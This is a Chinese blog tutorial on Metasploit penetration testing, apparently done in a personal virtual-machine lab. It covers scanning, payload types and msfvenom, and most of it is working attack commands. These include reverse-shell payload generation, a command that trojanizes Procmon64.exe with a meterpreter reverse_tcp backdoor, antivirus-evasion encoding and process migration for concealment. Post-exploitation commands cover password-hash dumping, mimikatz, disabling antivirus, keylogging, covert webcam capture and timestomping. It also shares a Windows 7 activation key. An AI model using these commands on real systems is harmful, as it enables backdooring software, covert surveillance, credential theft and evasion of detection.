渗透(2)

信息收集

主机发现

首先要知道有什么主机才能进行接下来的操作

arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机,arp的扫描能力还行,丢失信息较少
udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上udp服务,丢失信息较多

show missing 查看模块命令的必填项

show options 查看目前的配置项

set是局部配置只在当前模块下运行,setg是全局配置。

自己开三台虚拟机试一下就知道咯
图片
图片

端口扫描

知道了有哪些主机之后就看主机的端口有哪些

search portscan分为三类,SYN用的最多

1
2
3
4
5
6
//使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/syn
//通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/tcp
//一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检器的过滤
auxiliary/scanner/protscan/xmas

图片
图片

服务扫描

确定开放端口后,对相应端口上所运行的服务信息进行挖掘

利用SMB进行挖掘

首先枚举暴力破解账号密码:
图片
然后利用SMB获得目标主机的开启服务:
图片

利用telnet服务进行挖掘

首先需要目标主机开启了telent服务:
图片

漏洞利用

知道了主机开启的端口和服务后可以进行漏洞的利用,所有的漏洞利用模块都在:

1
/usr/share/metasploit‐framework/modules/exploits

在漏洞成功利用后,会与目标系统建立一个shell会话,此时就需要使用meterpreter进行后渗透

Payload的类型

singles

是一种完全独立的payload,而且使用起来就像运行calc.exe一样简单,如:windows/powershell_bind_tcp 就是一个 Single 类型的 payload,它使用 PowerShell 在目标系统上创建一个 TCP 服务,并监听一个端口,任何可以连接到该服务的客户端都可以与目标系统建立一个shell连接。

stagers

传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind(正向)型和reverse(反向)型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。

一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

stages

传输体载荷,在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。 如:meterpreter

stager和stage就像web入侵里面提到的小马和大马一样,由于exploit环境的限制,不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动。

1
2
3
4
#Single Payload的格式为:
<target>/ <single> 如:windows/powershell_bind_tcp
#Stager/Stage Payload的格式为:
<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp

Payload通常是结合exp来使用的

常见的stager
reverse_tcp

基于TCP的反弹shell:

1
2
linux/x86/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

1
windows/meterpreter/reverse_https
bind_tcp

基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST。

1
2
linux/x86/meterpreter/bind_tcp
windows/meterpreter/bind_tcp
Payload的生成

msfvenom — Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标机上执行后门上线。
msfvenom提供了各种不同类型的有效载荷(payloads),其中涵盖了多个操作系统和使用环境,例如Android、IOS、Unix、Linux、Windows…等,用于在渗透测试和漏洞评估中利用系统漏洞、获取对目标系统的控制或执行特定的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfvenom ‐h #可查看帮助信息
‐p:–payload,指定特定的 Payload,如果被设置为‐,那么从标准输入流中读取。几乎支持全平台。 指定操作系统
‐l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
‐n:–nopsled,指定 nop在 payload中的数量
‐f:–format,指定 Payload的输出格式(–‐list:列出所有可用的输出格式) php exe
‐e:–encoder,指定使用编码的encoder,用于免杀,X86/shikata_ga_nai是最流行的编码,Rank等级为excellent;解码
和编码过程都是随机生成的;cmd/powershell_base64也为excellent;
‐a:–arch,指定目标系统架构 arm‐安卓 x86 mips工业系统‐路由器‐交换机
‐‐platform:指定目标系统平台 linux windows ios 安卓
‐s:–space,设置未经编码的 Payload的最大长度(–encoder‐space:编码后的 Payload的最大长度)
‐b:–bad‐chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等
‐i:–iterations,设置 Payload的编码次数,理论上讲,编码的次数越高,免杀效果会越好
‐‐smallest:尽可能生成最短的 Payload
‐o:–out,保存 Payload到文件
‐c:–add‐code,指定一个附加的win32 shellcode文件
‐x:–template,指定一个特定的可执行文件作为模板
-k:–keep,保持模板程序的功能,注入的payload作为一个新的进程运行
一些类型的Payload
1
2
3
4
5
6
7
8
php:
msfvenom ‐p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On > ‐f raw > shell.php
jsp:
Msfvenom ‐p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On > ‐f raw > shell.jsp
python:
msfvenom ‐p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On > ‐fraw > shell.py
bash:
msfvenom ‐p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On > ‐f raw > shell.sh

这里用msfvenom生成一个后门exe程序去获取反弹shell:
图片

实测下来经过了三次编码的后门程序不能运行,这里在生成后门的时候把编码删除就可以了,不过编码了免杀效果更强

lhost和lport是Metasploit Framework中的两个重要的配置选项,它们分别指定了本地主机的IP地址和端口号

生成好了之后要想办法上传到目标主机,在攻击机本地需要进行端口的监听,这里需要用到multi/handler

本地测试的时候可以用vmware tools拖入拖出,kali一般会自带,win7可以参考:这篇博客

一般来说在win7装好后会是普通版因为没有密钥,这里可以用破解工具或者直接用升级密钥,普通版会少很多东西,比如administartor的用户组就看不到

win7普通版升级为旗舰版的激活密钥:6K2KY-BFH24-PJW6W-9GK29-TMPWP(好像一直能用

图片

随后进入到meterpreter后渗透模块…

Meterpreter

在Metasploit Framework(MSF)中,Meterpreter是一种强大的后渗透工具,用于在受攻击的系统上建立一个持久的、交互式的远程Shell。

Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

生成后门

这个部分介绍如何利用msf其中的后门生成功能将正常的软件改为后门软件,在受害者点击了之后便可以进行攻击。

这里使用Procmon64.exe,上传到opt目录之后,使用命令成功生成payload:

1
2
#替换为自己的ip和端口
msfvenom -p windows/x64/meterpreter/reverse_tcp -x /opt/Procmon64.exe -k lhost=192.168.56.132 lport=1689 -f exe > /opt/procmon.exe

图片

修改配置项,用我们生成的带后门的procmon软件进行攻击:

1
set payload windows/x64/meterpreter/reverse_tcp #设置payload

图片

如果希望对方在关闭软件后,会话依然可以保留,就需要在建立会话之后,迅速进行进程迁移

进程迁移是指为了不被受害者发现自己被攻击了从而把攻击进程伪装起来,通常是把shell进程藏在别的正常的进程中让人不易察觉。

1
2
#开启自动迁移进程
msf6 exploit(multi/handler) > set autorunscript migrate ‐f

图片
查看现在的进程号和迁移到的进程:

图片

后渗透操作

进入了meterpreter之后可以用 help 查看如何使用命令进行攻击

书接上文,拿到了meterpreter之后:

1
2
3
bg #暂挂
sessions #查看有哪些会话
sessions -i 序号 #进入会话

图片

这里可以看到操作失败权限不够,之后会提到如何提权:

图片

拿到了shell之后通常先将进程迁入到explorer.exe

“explorer.exe是Windows程序管理器或者文件资源管理器。它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。资源管理器explorer.exe进程为用户提供了图形用户界面(也称为图形壳),简单的说就是用来显示系统的桌面环境,包括桌面图标和文件管理。

1
migrate explorer进程号

其余常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz模块,它可以用来提取 Windows 系统中的密码和凭据信息。
ps #查看目标主机进程信息
getuid #查看获取的当前权限
getsystem #自动帮你提权,获得的当前用户是administrator才能成功
run killav #关闭系统自带的杀毒软件
pwd #查看目标主机当前目录(windows)
getlwd #查看本地的当前目录(Linux)
lcd #更改本地工作目录
lls #列出本地文件
lpwd #打印本地工作目录

search ‐f '*.jsp' ‐d 'e:\' #搜索E盘中所有以.jsp为后缀的文件
download E:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
idletime #查看主机运行时间

screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照 ‐整个过程毫无查觉
webcam_stream #开视频

execute 参数 ‐f 可执行文件 #执行可执行程序

keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能

uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标

load #加载扩展库
run #使用扩展库
timestomp #操作文件 MACE 属性

总结

从这里就可以看到不要乱下载软件和安装包,藏个后门在软件里面轻而易举,再进行一下进程迁移甚至都不知道自己的电脑被黑了。乱下载东西很容易就会把你的电脑上线被别人获取信息,特别是那些莫名其妙的软件园千万别去碰,因为不知道里面藏有什么,从功能那里可以看到能进行很多的操作。


渗透(2)
https://lan041221.github.io/3/
作者
l1nk
发布于
2024年9月3日
许可协议